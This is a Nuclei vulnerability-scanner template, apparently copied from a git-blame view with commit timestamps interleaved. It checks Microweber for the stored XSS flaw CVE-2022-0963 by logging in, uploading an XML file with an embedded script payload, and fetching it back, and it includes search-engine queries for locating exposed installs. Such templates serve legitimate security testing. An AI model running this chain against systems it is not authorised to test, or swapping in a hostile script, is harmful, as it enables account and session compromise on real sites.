2022-07-23 18:16:12 +00:00
|
|
|
id: CVE-2022-0963
|
|
|
|
|
|
|
|
info:
|
2022-09-16 19:50:10 +00:00
|
|
|
name: Microweber <1.2.12 - Stored Cross-Site Scripting
|
2022-07-23 18:16:12 +00:00
|
|
|
author: amit-jd
|
2022-09-16 20:03:07 +00:00
|
|
|
severity: medium
|
2022-07-27 07:06:28 +00:00
|
|
|
description: |
|
2022-09-16 19:50:10 +00:00
|
|
|
Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.
|
2023-09-06 11:59:08 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability.
|
2022-07-23 18:16:12 +00:00
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/
|
|
|
|
- https://github.com/advisories/GHSA-q3x2-jvp3-wj78
|
2022-07-27 07:45:07 +00:00
|
|
|
- https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c
|
2022-09-16 19:50:10 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0963
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://github.com/microweber/microweber/commit/975fc1d6d3fba598ee550849ceb81af23ce72e08
|
2022-07-23 18:16:12 +00:00
|
|
|
classification:
|
2022-09-16 20:03:07 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 5.4
|
2022-09-16 19:50:10 +00:00
|
|
|
cve-id: CVE-2022-0963
|
2022-09-16 20:03:07 +00:00
|
|
|
cwe-id: CWE-79
|
2023-10-14 11:27:55 +00:00
|
|
|
epss-score: 0.00144
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-percentile: 0.50194
|
2023-09-06 11:59:08 +00:00
|
|
|
cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
|
2022-07-27 07:09:35 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:59:08 +00:00
|
|
|
max-request: 3
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: microweber
|
|
|
|
product: microweber
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query:
|
|
|
|
- http.favicon.hash:780351152
|
|
|
|
- http.html:"microweber"
|
|
|
|
fofa-query:
|
|
|
|
- body="microweber"
|
|
|
|
- icon_hash=780351152
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve,cve2022,xss,microweber,cms,authenticated,huntr,intrusive
|
2022-07-23 18:16:12 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-07-23 18:16:12 +00:00
|
|
|
- raw:
|
2022-07-27 07:06:28 +00:00
|
|
|
- |
|
2022-07-23 18:16:12 +00:00
|
|
|
POST /api/user_login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
username={{username}}&password={{password}}
|
|
|
|
- |
|
|
|
|
POST /plupload HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034
|
2022-07-27 07:24:06 +00:00
|
|
|
Referer: {{BaseURL}}admin/view:modules/load_module:files
|
2022-07-23 18:16:12 +00:00
|
|
|
|
|
|
|
-----------------------------59866212126262636974202255034
|
|
|
|
Content-Disposition: form-data; name="name"
|
|
|
|
|
2022-07-27 07:24:06 +00:00
|
|
|
{{randstr}}.xml
|
2022-07-23 18:16:12 +00:00
|
|
|
-----------------------------59866212126262636974202255034
|
|
|
|
Content-Disposition: form-data; name="chunk"
|
|
|
|
|
|
|
|
0
|
|
|
|
-----------------------------59866212126262636974202255034
|
|
|
|
Content-Disposition: form-data; name="chunks"
|
|
|
|
|
|
|
|
1
|
|
|
|
-----------------------------59866212126262636974202255034
|
|
|
|
Content-Disposition: form-data; name="file"; filename="blob"
|
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
|
|
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
|
|
|
|
-----------------------------59866212126262636974202255034--
|
|
|
|
- |
|
2022-07-27 07:24:06 +00:00
|
|
|
GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1
|
2022-07-23 18:16:12 +00:00
|
|
|
Host: {{Hostname}}
|
2022-07-27 07:09:35 +00:00
|
|
|
|
|
|
|
matchers:
|
2022-07-23 18:16:12 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2022-07-27 07:06:28 +00:00
|
|
|
- 'contains(body_3,"alert(document.domain)")'
|
|
|
|
- 'status_code_3==200'
|
|
|
|
- 'contains(body_2,"bytes_uploaded")'
|
2022-07-25 13:13:21 +00:00
|
|
|
condition: and
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 490a0046304402202304db6f120a33e6ffae7e1c1f3227b72aec467ed884bf69e4d510127246a24a022016d9e7fcb4060480c3d8274cb05620b0e3ae804197d73525153a249f8b7f40b9:922c64590222798bb761d5b6d8e72950
|